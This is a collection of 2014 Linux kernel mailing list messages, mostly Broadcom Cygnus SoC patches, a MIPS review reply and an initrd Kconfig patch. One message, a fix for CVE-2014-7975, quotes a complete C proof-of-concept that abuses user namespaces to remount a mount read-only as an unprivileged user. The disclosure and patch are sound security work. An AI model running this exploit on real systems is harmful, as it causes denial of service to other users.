+F: arch/arm/mach-bcm/bcm_cygnus.c
+F: Documentation/devicetree/bindings/clock/clk-cygnus.txt
+F: Documentation/devicetree/bindings/clock/clk-iproc.txt
+F: drivers/clk/bcm/clk-cygnus.c
+F: drivers/clk/bcm/clk-iproc.c
+
+BROADCOM KONA GPIO DRIVER
+M: Ray Jui 
 S: Supported
 F: drivers/gpio/gpio-bcm-kona.c
 F: Documentation/devicetree/bindings/gpio/gpio-bcm-kona.txt
-- 
1.7.9.5

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH V4 3/7] dt-bindings: Document Broadcom Cygnus SoC and clock driver

2014-10-09 Thread Scott Branden
From: Jonathan Richardson 

Reviewed-by: Arun Parameswaran 
Tested-by: Jonathan Richardson 
Reviewed-by: JD (Jiandong) Zheng 
Signed-off-by: Scott Branden 
---
 .../devicetree/bindings/arm/bcm/cygnus.txt |   31 +
 .../devicetree/bindings/clock/clk-cygnus.txt   |  121 
 .../devicetree/bindings/clock/clk-iproc.txt|   48 
 3 files changed, 200 insertions(+)
 create mode 100644 Documentation/devicetree/bindings/arm/bcm/cygnus.txt
 create mode 100644 Documentation/devicetree/bindings/clock/clk-cygnus.txt
 create mode 100644 Documentation/devicetree/bindings/clock/clk-iproc.txt

diff --git a/Documentation/devicetree/bindings/arm/bcm/cygnus.txt 
b/Documentation/devicetree/bindings/arm/bcm/cygnus.txt
new file mode 100644
index 000..4c77169
--- /dev/null
+++ b/Documentation/devicetree/bindings/arm/bcm/cygnus.txt
@@ -0,0 +1,31 @@
+Broadcom Cygnus device tree bindings
+
+
+
+Boards with Cygnus SoCs shall have the following properties:
+
+Required root node property:
+
+BCM11300
+compatible = "brcm,bcm11300", "brcm,cygnus";
+
+BCM11320
+compatible = "brcm,bcm11320", "brcm,cygnus";
+
+BCM11350
+compatible = "brcm,bcm11350", "brcm,cygnus";
+
+BCM11360
+compatible = "brcm,bcm11360", "brcm,cygnus";
+
+BCM58300
+compatible = "brcm,bcm58300", "brcm,cygnus";
+
+BCM58302
+compatible = "brcm,bcm58302", "brcm,cygnus";
+
+BCM58303
+compatible = "brcm,bcm58303", "brcm,cygnus";
+
+BCM58305
+compatible = "brcm,bcm58305", "brcm,cygnus";
diff --git a/Documentation/devicetree/bindings/clock/clk-cygnus.txt 
b/Documentation/devicetree/bindings/clock/clk-cygnus.txt
new file mode 100644
index 000..7e03837
--- /dev/null
+++ b/Documentation/devicetree/bindings/clock/clk-cygnus.txt
@@ -0,0 +1,121 @@
+Broadcom Cygnus Clock Controller
+
+This binding uses the common clock binding:
+Documentation/devicetree/bindings/clock/clock-bindings.txt
+
+The Cygnus clock controller manages several PLL's and their channels, found 
only
+on the Cygnus chip. Clocks that are common to iProc can be found in the iProc
+clock controller. The controllers are split into a parent-child relationship
+where the parent is the PLL and the child controls the PLL's channels.
+
+All PLL's are derived from a 25MHz oscillator. The PLL's controlled are the
+GENPLL, LCPLL, the MIPI PLL. In addition, there are two clocks derived from
+GENPLL channel 0, and three that are derived directly from the oscillator.
+
+Required properties:
+- compatible: Must be one of the following:
+"brcm,cygnus-lcpll-clk" - Controls LCPLL.
+"brcm,cygnus-lcpll-ch" -  Controls LCPLL (parent) channels
+"brcm,cygnus-genpll-clk" - Controls parent GENPLL
+"brcm,cygnus-genpll-ch" - Controls GENPLL (parent) channels
+"brcm,cygnus-mipipll-clk" - Controls MIPI PLL
+"brcm,cygnus-mipipll-ch" - Controls parent MIPI PLL (parent) channels
+"brcm,cygnus-osc-derived" - Controls oscillator (parent) derived channels
+not controlled by any PLL.
+"brcm,cygnus-pll-derived" - Controls clocks derived from GENPLL channel 0.
+ These clocks have hard wired internal dividers and their clock rates
+ scale according to the GENPLL channel.
+
+- reg: First register is the base address of the PLL. Register 2 and 3 are
+  required by some clocks. They are the top clock gating control used to
+  enable/disable clocks (ch 1), and the CRMU PLL AON CONTROL register which
+  powers on PLL/LDO's (ch 2).
+
+- clocks: The input parent clock phandle for the clock. This is either a PLL,
+  oscillator, or GENPLL channel 0.
+
+- channel: The PLL channel that the clock belongs to. This is used for
+  "brcm,cygnus-lcpll-ch", "brcm,cygnus-genpll-ch", "brcm,cygnus-mipipll-ch",
+  "brcm,cygnus-osc-derived" only.
+
+- div: Used by "brcm,cygnus-pll-derived" to define the hard coded internal
+  divider value. Used by "brcm,cygnus-osc-derived" to specify the programmable
+  divider.
+
+- #clock-cells: From common clock binding; shall be set to 0.
+
+Examples:
+
+   osc: oscillator {
+   #clock-cells = <0>;
+   compatible = "fixed-clock";
+   clock-frequency = <2500>;
+   };
+
+   lcpll: lcpll@0301d02c {
+   #clock-cells = <0>;
+   compatible = "brcm,cygnus-lcpll-clk";
+   reg = <0x0301d02c 0x1c>;
+   clocks = <>;
+   };
+
+   genpll: genpll@0301d000 {
+   #clock-cells = <0>;
+   compatible = "brcm,cygnus-genpll-clk";
+   reg = <0x0301d000 0x2c>,
+ <0x180AA024 0x4>,
+ <0x0301C020 0x4>;
+   clocks = <>;
+   };
+
+   axi21_clk: genpll_ch0@0301d000 {
+   #clock-cells = <0>;
+   compatible = 

[PATCH V4 7/7] ARM: multi_v7_defconfig: Enable ARCH_BCM_CYGNUS config

2014-10-09 Thread Scott Branden
Enabled Broadcom Cygnus SoC family in multi_v7_defconfig by using
CONFIG_ARCH_BCM_CYGNUS=y.

Signed-off-by: Scott Branden 
---
 arch/arm/configs/multi_v7_defconfig |1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/arm/configs/multi_v7_defconfig 
b/arch/arm/configs/multi_v7_defconfig
index 5fb95fb..d02f56d 100644
--- a/arch/arm/configs/multi_v7_defconfig
+++ b/arch/arm/configs/multi_v7_defconfig
@@ -17,6 +17,7 @@ CONFIG_MACH_ARMADA_38X=y
 CONFIG_MACH_ARMADA_XP=y
 CONFIG_MACH_DOVE=y
 CONFIG_ARCH_BCM=y
+CONFIG_ARCH_BCM_CYGNUS=y
 CONFIG_ARCH_BCM_MOBILE=y
 CONFIG_ARCH_BCM_5301X=y
 CONFIG_ARCH_BRCMSTB=y
-- 
1.7.9.5

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH V4 4/7] ARM: cygnus defconfig : Initial defconfig for Broadcom Cygnus SoC

2014-10-09 Thread Scott Branden
From: Jonathan Richardson 

This defconfig is utilized so a customer or developer can understand
what kernel drivers are utilized by the Cygnus SoC.  It also enables
debug configs which should be disabled if optimal performance is
desired.

Tested-by: Jonathan Richardson 
Reviewed-by: JD (Jiandong) Zheng 
Signed-off-by: Scott Branden 
---
 arch/arm/configs/bcm_cygnus_defconfig |  221 +
 1 file changed, 221 insertions(+)
 create mode 100644 arch/arm/configs/bcm_cygnus_defconfig

diff --git a/arch/arm/configs/bcm_cygnus_defconfig 
b/arch/arm/configs/bcm_cygnus_defconfig
new file mode 100644
index 000..cf4c107
--- /dev/null
+++ b/arch/arm/configs/bcm_cygnus_defconfig
@@ -0,0 +1,221 @@
+CONFIG_KERNEL_XZ=y
+# CONFIG_SWAP is not set
+CONFIG_SYSVIPC=y
+CONFIG_IRQ_DOMAIN_DEBUG=y
+CONFIG_HIGH_RES_TIMERS=y
+CONFIG_BSD_PROCESS_ACCT=y
+CONFIG_BSD_PROCESS_ACCT_V3=y
+CONFIG_IKCONFIG=y
+CONFIG_IKCONFIG_PROC=y
+CONFIG_LOG_BUF_SHIFT=19
+CONFIG_CGROUPS=y
+CONFIG_CGROUP_FREEZER=y
+CONFIG_CGROUP_DEVICE=y
+CONFIG_CGROUP_CPUACCT=y
+CONFIG_RESOURCE_COUNTERS=y
+CONFIG_CGROUP_SCHED=y
+CONFIG_BLK_CGROUP=y
+CONFIG_NAMESPACES=y
+CONFIG_BLK_DEV_INITRD=y
+CONFIG_SYSCTL_SYSCALL=y
+CONFIG_EMBEDDED=y
+CONFIG_PERF_EVENTS=y
+# CONFIG_COMPAT_BRK is not set
+CONFIG_MODULES=y
+CONFIG_MODULE_UNLOAD=y
+# CONFIG_BLK_DEV_BSG is not set
+CONFIG_PARTITION_ADVANCED=y
+CONFIG_ARCH_BCM=y
+CONFIG_ARCH_BCM_CYGNUS=y
+CONFIG_ARM_THUMBEE=y
+CONFIG_PREEMPT=y
+CONFIG_AEABI=y
+CONFIG_HIGHMEM=y
+# CONFIG_COMPACTION is not set
+# CONFIG_ATAGS is not set
+CONFIG_ZBOOT_ROM_TEXT=0x0
+CONFIG_ZBOOT_ROM_BSS=0x0
+CONFIG_ARM_APPENDED_DTB=y
+CONFIG_CPU_IDLE=y
+CONFIG_VFP=y
+CONFIG_NEON=y
+# CONFIG_SUSPEND is not set
+CONFIG_NET=y
+CONFIG_PACKET=y
+CONFIG_UNIX=y
+CONFIG_INET=y
+CONFIG_IP_MULTICAST=y
+CONFIG_IP_ADVANCED_ROUTER=y
+CONFIG_IP_MULTIPLE_TABLES=y
+CONFIG_IP_ROUTE_MULTIPATH=y
+CONFIG_IP_ROUTE_VERBOSE=y
+CONFIG_IP_PNP=y
+CONFIG_IP_PNP_DHCP=y
+CONFIG_IP_MROUTE=y
+CONFIG_IP_MROUTE_MULTIPLE_TABLES=y
+CONFIG_SYN_COOKIES=y
+# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
+# CONFIG_INET_XFRM_MODE_TUNNEL is not set
+# CONFIG_INET_XFRM_MODE_BEET is not set
+# CONFIG_INET_LRO is not set
+# CONFIG_INET_DIAG is not set
+CONFIG_TCP_CONG_ADVANCED=y
+# CONFIG_TCP_CONG_BIC is not set
+# CONFIG_TCP_CONG_WESTWOOD is not set
+# CONFIG_TCP_CONG_HTCP is not set
+CONFIG_IPV6=y
+# CONFIG_INET6_XFRM_MODE_TRANSPORT is not set
+# CONFIG_INET6_XFRM_MODE_TUNNEL is not set
+# CONFIG_INET6_XFRM_MODE_BEET is not set
+# CONFIG_IPV6_SIT is not set
+CONFIG_IPV6_MULTIPLE_TABLES=y
+CONFIG_IPV6_SUBTREES=y
+CONFIG_IPV6_MROUTE=y
+CONFIG_NETFILTER=y
+# CONFIG_BRIDGE_NETFILTER is not set
+CONFIG_NF_CONNTRACK=y
+# CONFIG_NF_CONNTRACK_PROCFS is not set
+CONFIG_NF_CONNTRACK_FTP=y
+CONFIG_NF_CONNTRACK_IPV4=y
+CONFIG_IP_NF_IPTABLES=y
+CONFIG_IP_NF_FILTER=y
+CONFIG_IP_NF_TARGET_REJECT=y
+CONFIG_IP_NF_NAT=y
+CONFIG_IP_NF_TARGET_MASQUERADE=y
+CONFIG_IP_NF_TARGET_REDIRECT=y
+CONFIG_IP_NF_MANGLE=y
+CONFIG_IP_NF_RAW=y
+CONFIG_NF_CONNTRACK_IPV6=y
+CONFIG_IP6_NF_IPTABLES=y
+CONFIG_IP6_NF_MATCH_AH=y
+CONFIG_IP6_NF_MATCH_EUI64=y
+CONFIG_IP6_NF_MATCH_FRAG=y
+CONFIG_IP6_NF_MATCH_OPTS=y
+CONFIG_IP6_NF_MATCH_IPV6HEADER=y
+CONFIG_IP6_NF_MATCH_MH=y
+CONFIG_IP6_NF_MATCH_RT=y
+CONFIG_IP6_NF_FILTER=y
+CONFIG_IP6_NF_TARGET_REJECT=y
+CONFIG_IP6_NF_MANGLE=y
+CONFIG_IP6_NF_RAW=y
+CONFIG_BRIDGE=y
+# CONFIG_BRIDGE_IGMP_SNOOPING is not set
+CONFIG_VLAN_8021Q=y
+CONFIG_NET_SCHED=y
+CONFIG_NET_SCH_FQ_CODEL=y
+CONFIG_DEVTMPFS=y
+CONFIG_DEVTMPFS_MOUNT=y
+# CONFIG_FIRMWARE_IN_KERNEL is not set
+CONFIG_MTD=y
+CONFIG_MTD_CMDLINE_PARTS=y
+CONFIG_MTD_BLOCK=y
+CONFIG_MTD_NAND=y
+CONFIG_MTD_UBI=y
+# CONFIG_BLK_DEV is not set
+CONFIG_SCSI=y
+CONFIG_BLK_DEV_SD=y
+CONFIG_NETDEVICES=y
+# CONFIG_NET_CADENCE is not set
+# CONFIG_NET_VENDOR_CIRRUS is not set
+# CONFIG_NET_VENDOR_FARADAY is not set
+# CONFIG_NET_VENDOR_INTEL is not set
+# CONFIG_NET_VENDOR_MARVELL is not set
+# CONFIG_NET_VENDOR_MICREL is not set
+# CONFIG_NET_VENDOR_NATSEMI is not set
+# CONFIG_NET_VENDOR_SEEQ is not set
+# CONFIG_NET_VENDOR_SMSC is not set
+# CONFIG_NET_VENDOR_STMICRO is not set
+# CONFIG_NET_VENDOR_WIZNET is not set
+CONFIG_PHYLIB=y
+CONFIG_BROADCOM_PHY=y
+# CONFIG_INPUT_MOUSEDEV is not set
+# CONFIG_KEYBOARD_ATKBD is not set
+# CONFIG_INPUT_MOUSE is not set
+# CONFIG_SERIO is not set
+# CONFIG_LEGACY_PTYS is not set
+CONFIG_SERIAL_8250=y
+# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set
+CONFIG_SERIAL_8250_CONSOLE=y
+CONFIG_SERIAL_8250_NR_UARTS=2
+CONFIG_SERIAL_8250_RUNTIME_UARTS=2
+CONFIG_SERIAL_8250_DW=y
+CONFIG_SERIAL_OF_PLATFORM=y
+# CONFIG_HW_RANDOM is not set
+CONFIG_I2C=y
+CONFIG_I2C_CHARDEV=y
+# CONFIG_I2C_HELPER_AUTO is not set
+CONFIG_I2C_SMBUS=y
+CONFIG_SPI=y
+CONFIG_SPI_PL022=y
+CONFIG_SPI_SPIDEV=y
+CONFIG_GPIO_SYSFS=y
+# CONFIG_HWMON is not set
+CONFIG_WATCHDOG=y
+CONFIG_ARM_SP805_WATCHDOG=y
+CONFIG_FB=y
+CONFIG_FB_ARMCLCD=y
+CONFIG_BACKLIGHT_LCD_SUPPORT=y
+# CONFIG_LCD_CLASS_DEVICE is not set

[PATCH V4 1/7] ARM: cygnus: Initial support for Broadcom Cygnus SoC

2014-10-09 Thread Scott Branden
From: Jonathan Richardson 

Adds initial support for the Cygnus SoC based on Broadcom’s iProc series.
Move ARCH_BCM_5301x under the ARCH_BCM_IPROC architecture.

Reviewed-by: Ray Jui 
Reviewed-by: Desmond Liu 
Reviewed-by: JD (Jiandong) Zheng 
Tested-by: Jonathan Richardson 
Signed-off-by: Scott Branden 
---
 arch/arm/Kconfig.debug |2 +-
 arch/arm/mach-bcm/Kconfig  |   68 +++-
 arch/arm/mach-bcm/Makefile |3 ++
 arch/arm/mach-bcm/bcm_cygnus.c |   26 +++
 4 files changed, 77 insertions(+), 22 deletions(-)
 create mode 100644 arch/arm/mach-bcm/bcm_cygnus.c

diff --git a/arch/arm/Kconfig.debug b/arch/arm/Kconfig.debug
index b11ad54..85363de 100644
--- a/arch/arm/Kconfig.debug
+++ b/arch/arm/Kconfig.debug
@@ -1051,7 +1051,7 @@ config DEBUG_UART_PL01X
 
 # Compatibility options for 8250
 config DEBUG_UART_8250
-   def_bool ARCH_DOVE || ARCH_EBSA110 || \
+   def_bool ARCH_BCM_IPROC || ARCH_DOVE || ARCH_EBSA110 || \
(FOOTBRIDGE && !DEBUG_DC21285_PORT) || \
ARCH_GEMINI || ARCH_IOP13XX || ARCH_IOP32X || \
ARCH_IOP33X || ARCH_IXP4XX || \
diff --git a/arch/arm/mach-bcm/Kconfig b/arch/arm/mach-bcm/Kconfig
index fc93800..b2b6752 100644
--- a/arch/arm/mach-bcm/Kconfig
+++ b/arch/arm/mach-bcm/Kconfig
@@ -5,6 +5,53 @@ menuconfig ARCH_BCM
 
 if ARCH_BCM
 
+menu "iProc SoC based Machine types"
+   config ARCH_BCM_IPROC
+   bool "Broadcom ARMv7 iProc boards" if ARCH_MULTI_V7
+   depends on ARCH_BCM_CYGNUS || ARCH_BCM_5301X
+   select ARM_GIC
+   select CACHE_L2X0
+   select HAVE_ARM_SCU if SMP
+   select HAVE_ARM_TWD if SMP
+   select ARM_GLOBAL_TIMER
+
+   select CLKSRC_MMIO
+   select ARCH_REQUIRE_GPIOLIB
+   select ARM_AMBA
+   select PINCTRL
+   help
+ This enables support for systems based on Broadcom IPROC 
architected SoCs.
+ The IPROC complex contains one or more ARM CPUs along with 
common
+ core periperals. Application specific SoCs are created by 
adding a
+ uArchitecture containing peripherals outside of the IPROC 
complex.
+ Currently supported SoCs are Cygnus.
+
+   config ARCH_BCM_CYGNUS
+   bool "Broadcom Cygnus Support" if ARCH_MULTI_V7
+   select ARCH_BCM_IPROC
+   help
+   Enable support for the Cygnus family,
+   which includes the following variants:
+   BCM11300, BCM11320, BCM11350, BCM11360,
+   BCM58300, BCM58302, BCM58303, BCM58305.
+
+   config ARCH_BCM_5301X
+   bool "Broadcom BCM470X / BCM5301X ARM SoC" if ARCH_MULTI_V7
+   select ARCH_BCM_IPROC
+   help
+ Support for Broadcom BCM470X and BCM5301X SoCs with ARM CPU 
cores.
+
+ This is a network SoC line mostly used in home routers and
+ wifi access points, it's internal name is Northstar.
+ This inclused the following SoC: BCM53010, BCM53011, BCM53012,
+ BCM53014, BCM53015, BCM53016, BCM53017, BCM53018, BCM4707,
+ BCM4708 and BCM4709.
+
+ Do not confuse this with the BCM4760 which is a totally
+ different SoC or with the older BCM47XX and BCM53XX based
+ network SoC using a MIPS CPU, they are supported by 
arch/mips/bcm47xx
+endmenu
+
 config ARCH_BCM_MOBILE
bool "Broadcom Mobile SoC Support" if ARCH_MULTI_V7
select ARCH_REQUIRE_GPIOLIB
@@ -78,27 +125,6 @@ config ARCH_BCM2835
  This enables support for the Broadcom BCM2835 SoC. This SoC is
  used in the Raspberry Pi and Roku 2 devices.
 
-config ARCH_BCM_5301X
-   bool "Broadcom BCM470X / BCM5301X ARM SoC" if ARCH_MULTI_V7
-   select ARM_GIC
-   select CACHE_L2X0
-   select HAVE_ARM_SCU if SMP
-   select HAVE_ARM_TWD if SMP
-   select ARM_GLOBAL_TIMER
-   select CLKSRC_ARM_GLOBAL_TIMER_SCHED_CLOCK
-   help
- Support for Broadcom BCM470X and BCM5301X SoCs with ARM CPU cores.
-
- This is a network SoC line mostly used in home routers and
- wifi access points, it's internal name is Northstar.
- This inclused the following SoC: BCM53010, BCM53011, BCM53012,
- BCM53014, BCM53015, BCM53016, BCM53017, BCM53018, BCM4707,
- BCM4708 and BCM4709.
-
- Do not confuse this with the BCM4760 which is a totally
- different SoC or with the older BCM47XX and BCM53XX based
- network SoC using a MIPS CPU, they are supported by arch/mips/bcm47xx
-
 config ARCH_BRCMSTB
bool "Broadcom BCM7XXX based boards" if ARCH_MULTI_V7
depends on MMU
diff --git a/arch/arm/mach-bcm/Makefile b/arch/arm/mach-bcm/Makefile
index 

[PATCH V4 0/7] Add initial support for Broadcom Cygnus SoC

2014-10-09 Thread Scott Branden
This patchset contains initial support for Broadcom's Cygnus SoC based on our
iProc architecture. Initial support is minimal and includes just the mach
platform code, clock driver, and a basic device tree configuration. Peripheral
drivers will be submitted soon, as will device tree configurations for other
Cygnus board variants.

Changes from v3:
 - restart functionality removed.  Will be added in a different patchset
   in drivers/power
 - removed NEON init sequence.  Will be moved to bootloader
 - cleaned up Kconfigs for ARCH_BCM_CYGNUS by removing unnecessary selects
 - consolidated ARCH_BCM_IPROC with select from ARCH_BCM_CYGNUS and
   ARCH_BCM5301X
 - removed bcm911360_entphn binding
 - added documentation for SoCs currently supported in Cygnus family


Changes from v2:
 - rebased to 3.17 kernel

Changes from v1:
 - Address code review comments as per previous responses.
 - Copyright headers updated to remove Broadcom URL.
 - mach platform code still contains hard coded addresses. These address are
   the same for all Cygnus variants. Could you please provide guidance on where
   they should go if you would still like them changed.  There does not seem to
   be a reason to change them to device tree as they do not change.


Jonathan Richardson (5):
  ARM: cygnus: Initial support for Broadcom Cygnus SoC
  clk: Clock driver support for Broadcom Cygnus SoC
  dt-bindings: Document Broadcom Cygnus SoC and clock driver
  ARM: cygnus defconfig : Initial defconfig for Broadcom Cygnus SoC
  ARM: dts: Enable Broadcom Cygnus SoC

Scott Branden (2):
  MAINTAINERS: Entry for Cygnus/iproc arm architecture and clock
drivers
  ARM: multi_v7_defconfig: Enable ARCH_BCM_CYGNUS config

 .../devicetree/bindings/arm/bcm/cygnus.txt |   31 +
 .../devicetree/bindings/clock/clk-cygnus.txt   |  121 ++
 .../devicetree/bindings/clock/clk-iproc.txt|   48 +
 MAINTAINERS|   17 +-
 arch/arm/Kconfig.debug |2 +-
 arch/arm/boot/dts/Makefile |1 +
 arch/arm/boot/dts/bcm-cygnus.dtsi  |  349 ++
 arch/arm/boot/dts/bcm911360_entphn.dts |   22 +
 arch/arm/configs/bcm_cygnus_defconfig  |  221 
 arch/arm/configs/multi_v7_defconfig|1 +
 arch/arm/mach-bcm/Kconfig  |   68 +-
 arch/arm/mach-bcm/Makefile |3 +
 arch/arm/mach-bcm/bcm_cygnus.c |   26 +
 drivers/clk/Makefile   |1 +
 drivers/clk/bcm/Makefile   |2 +
 drivers/clk/bcm/clk-cygnus.c   | 1186 
 drivers/clk/bcm/clk-iproc.c|  451 
 17 files changed, 2527 insertions(+), 23 deletions(-)
 create mode 100644 Documentation/devicetree/bindings/arm/bcm/cygnus.txt
 create mode 100644 Documentation/devicetree/bindings/clock/clk-cygnus.txt
 create mode 100644 Documentation/devicetree/bindings/clock/clk-iproc.txt
 create mode 100644 arch/arm/boot/dts/bcm-cygnus.dtsi
 create mode 100644 arch/arm/boot/dts/bcm911360_entphn.dts
 create mode 100644 arch/arm/configs/bcm_cygnus_defconfig
 create mode 100644 arch/arm/mach-bcm/bcm_cygnus.c
 create mode 100644 drivers/clk/bcm/clk-cygnus.c
 create mode 100644 drivers/clk/bcm/clk-iproc.c

-- 
1.7.9.5

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH v2 2/3] MIPS: Setup an instruction emulation in VDSO protected page instead of user stack

2014-10-09 Thread James Hogan
Hi Leonid,

On Thu, Oct 09, 2014 at 01:00:17PM -0700, Leonid Yegoshin wrote:
> Signal happend during run in emulation block is handled properly - EPC is
> changed to before an emulated jump or to target address, depending from point 
> of
> signal.

Great!

> Small stack of emulation blocks is supported because nested traps are possible
> in MIPS32/64 R6 emulation mix with FPU emulation.

Could you please clarify how this nesting of emulation blocks could
happen now that signals are handled more cleanly.

I.e. isn't the emuframe stuff only required for instructions in branch
delay slots, and branches shouldn't be in branch delay slots anyway, so
I don't get how they could nest.

Thanks
James
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] fs: Add a missing permission check to do_umount

2014-10-09 Thread Andy Lutomirski
On Wed, Oct 8, 2014 at 12:37 PM, Andy Lutomirski  wrote:
> Accessing do_remount_sb should require global CAP_SYS_ADMIN, but
> only one of the two call sites was appropriately protected.
>
> Fixes CVE-2014-7975.

Due to my ineptitude, the cat is well and truly out of the bag on this
one, complete with PoC.

This fix really ought to be safe.  Inside a mountns owned by a
non-root user namespace, the namespace root almost always has
MNT_LOCKED set (if it doesn't, then there's a bug, because rootfs
could be exposed).  In that case, calling umount on "/" will return
-EINVAL with or without this patch.

Outside a userns, this patch will have no effect.  may_mount, required
by umount, already checks
ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN), so an
additional capable(CAP_SYS_ADMIN) check will have no effect.

That leaves anything that calls umount on "/" in a non-root userns
while chrooted.  This is the case that is currently broken (it
remounts ro, which shouldn't be allowed) and that my patch changes to
-EPERM.  If anything relies on *that*, I'd be surprised.

--Andy

>
> Cc: sta...@vger.kernel.org
> Signed-off-by: Andy Lutomirski 
> ---
>
> *Sigh*
>
> Build the thing below and do something like:
>
> $ cd /dev/pts
> $ remount_ro /dev
>
> /* remount_ro.c */
> /* Copyright (c) 2014 Andrew Lutomirski.  All rights reserved. */
>
> #define _GNU_SOURCE
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
>
> #ifndef CLONE_NEWUSER
> #define CLONE_NEWUSER 0x1000
> #endif
>
> static void set_map(const char *path, uid_t outer)
> {
> char buf[1024];
> int fd = open(path, O_WRONLY);
> if (fd == -1)
> err(1, "open map");
> sprintf(buf, "0 %ld 1", (long)outer);
> if (write(fd, buf, strlen(buf)) != strlen(buf))
> err(1, "write map");
> close(fd);
> }
>
> int main(int argc, char **argv)
> {
>   printf("remount_ro, a DoS by Andy Lutomirski\n");
>   if (argc != 2) {
> printf("Usage: remount_ro TARGET_MOUNT\n");
> return 1;
>   }
>
>   int origroot_fd;
>   long uid = geteuid(), gid = getegid();
>   char origcwd[16384];
>   const char *target = argv[1];
>
>   if (unshare(CLONE_NEWUSER) != 0)
> err(1, "unshare(CLONE_NEWUSER)");
>   if (unshare(CLONE_NEWNS) != 0)
> err(1, "unshare(CLONE_NEWNS)");
>
>   set_map("/proc/self/uid_map", uid);
>   set_map("/proc/self/gid_map", gid);
>
>   if (mount("/", "/", NULL, MS_REC | MS_PRIVATE, NULL) != 0)
> err(1, "MS_PRIVATE");
>
>   // Minimize required thought: just chroot to the target first.
>   if (chroot(target) != 0)
> err(1, "chroot to target");
>
>   // Big song and dance to clear MNT_LOCKED on "/".
>
>   origroot_fd = open("/", O_RDONLY);
>   if (origroot_fd == -1)
> err(1, "open");
>
>   if (!getcwd(origcwd, sizeof(origcwd)))
>   err(1, "getcwd");
>   if (!strncmp("(unreachable)", origcwd, 13))
> errx(1, "current directory must be under the target directory");
>   if (!strcmp(origcwd, "/"))
> errx(1, "don't run from the target directory");
>   if (mount("temporary_root", ".", "tmpfs", 0, NULL) != 0)
> err(1, "mount");
>   if (chdir(origcwd) != 0)
> err(1, "chdir");
>
>   if (syscall(SYS_pivot_root, ".", ".") != 0)
> err(1, "pivot_root");
>
>   if (fchdir(origroot_fd) != 0)
> err(1, "fchdir");
>   close(origroot_fd);
>
>   if (chroot(".") != 0)
> err(1, "chroot");
>
>   // That was fun.  Exploit time.
>   if (umount2("/", MNT_FORCE) != 0)
> err(1, "umount");
>   printf("Seems to have worked.  Have fun.\n");
>
>   return 0;
> }
>
>  fs/namespace.c | 2 ++
>  1 file changed, 2 insertions(+)
>
> diff --git a/fs/namespace.c b/fs/namespace.c
> index ef42d9bee212..7f67b463a5b4 100644
> --- a/fs/namespace.c
> +++ b/fs/namespace.c
> @@ -1356,6 +1356,8 @@ static int do_umount(struct mount *mnt, int flags)
>  * Special case for "unmounting" root ...
>  * we just try to remount it readonly.
>  */
> +   if (!capable(CAP_SYS_ADMIN))
> +   return -EPERM;
> down_write(>s_umount);
> if (!(sb->s_flags & MS_RDONLY))
> retval = do_remount_sb(sb, MS_RDONLY, NULL, 0);
> --
> 1.9.3
>



-- 
Andy Lutomirski
AMA Capital Management, LLC
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH] Make initrd compression algorithm selection not expert

2014-10-09 Thread Andi Kleen
From: Andi Kleen 

The kernel has support for (nearly) every compression algorithm known to man,
each to handle some particular microscopic niche.

Unfortunately all of these always get compiled in if you want to support 
INITRDs,
and can be only disabled when CONFIG_EXPERT is set.

I don't see why I need to set EXPERT just to properly configure the
initrd compression algorithms, and not always include every possible algorithm

Usually the initrd is just compressed with gzip anyways, at least that's
true on all distributions I use.

Remove the dependencies for initrd compression on CONFIG_EXPERT.

Make the various options just default y, which should be good
enough to not break any previous configuration.

Signed-off-by: Andi Kleen 
---
 usr/Kconfig | 24 
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/usr/Kconfig b/usr/Kconfig
index 2d4c77e..572dcf7 100644
--- a/usr/Kconfig
+++ b/usr/Kconfig
@@ -46,17 +46,17 @@ config INITRAMFS_ROOT_GID
  If you are not sure, leave it set to "0".
 
 config RD_GZIP
-   bool "Support initial ramdisks compressed using gzip" if EXPERT
-   default y
+   bool "Support initial ramdisks compressed using gzip"
depends on BLK_DEV_INITRD
+   default y
select DECOMPRESS_GZIP
help
  Support loading of a gzip encoded initial ramdisk or cpio buffer.
  If unsure, say Y.
 
 config RD_BZIP2
-   bool "Support initial ramdisks compressed using bzip2" if EXPERT
-   default !EXPERT
+   bool "Support initial ramdisks compressed using bzip2"
+   default y
depends on BLK_DEV_INITRD
select DECOMPRESS_BZIP2
help
@@ -64,8 +64,8 @@ config RD_BZIP2
  If unsure, say N.
 
 config RD_LZMA
-   bool "Support initial ramdisks compressed using LZMA" if EXPERT
-   default !EXPERT
+   bool "Support initial ramdisks compressed using LZMA"
+   default y
depends on BLK_DEV_INITRD
select DECOMPRESS_LZMA
help
@@ -73,17 +73,17 @@ config RD_LZMA
  If unsure, say N.
 
 config RD_XZ
-   bool "Support initial ramdisks compressed using XZ" if EXPERT
-   default !EXPERT
+   bool "Support initial ramdisks compressed using XZ"
depends on BLK_DEV_INITRD
+   default y
select DECOMPRESS_XZ
help
  Support loading of a XZ encoded initial ramdisk or cpio buffer.
  If unsure, say N.
 
 config RD_LZO
-   bool "Support initial ramdisks compressed using LZO" if EXPERT
-   default !EXPERT
+   bool "Support initial ramdisks compressed using LZO"
+   default y
depends on BLK_DEV_INITRD
select DECOMPRESS_LZO
help
@@ -91,8 +91,8 @@ config RD_LZO
  If unsure, say N.
 
 config RD_LZ4
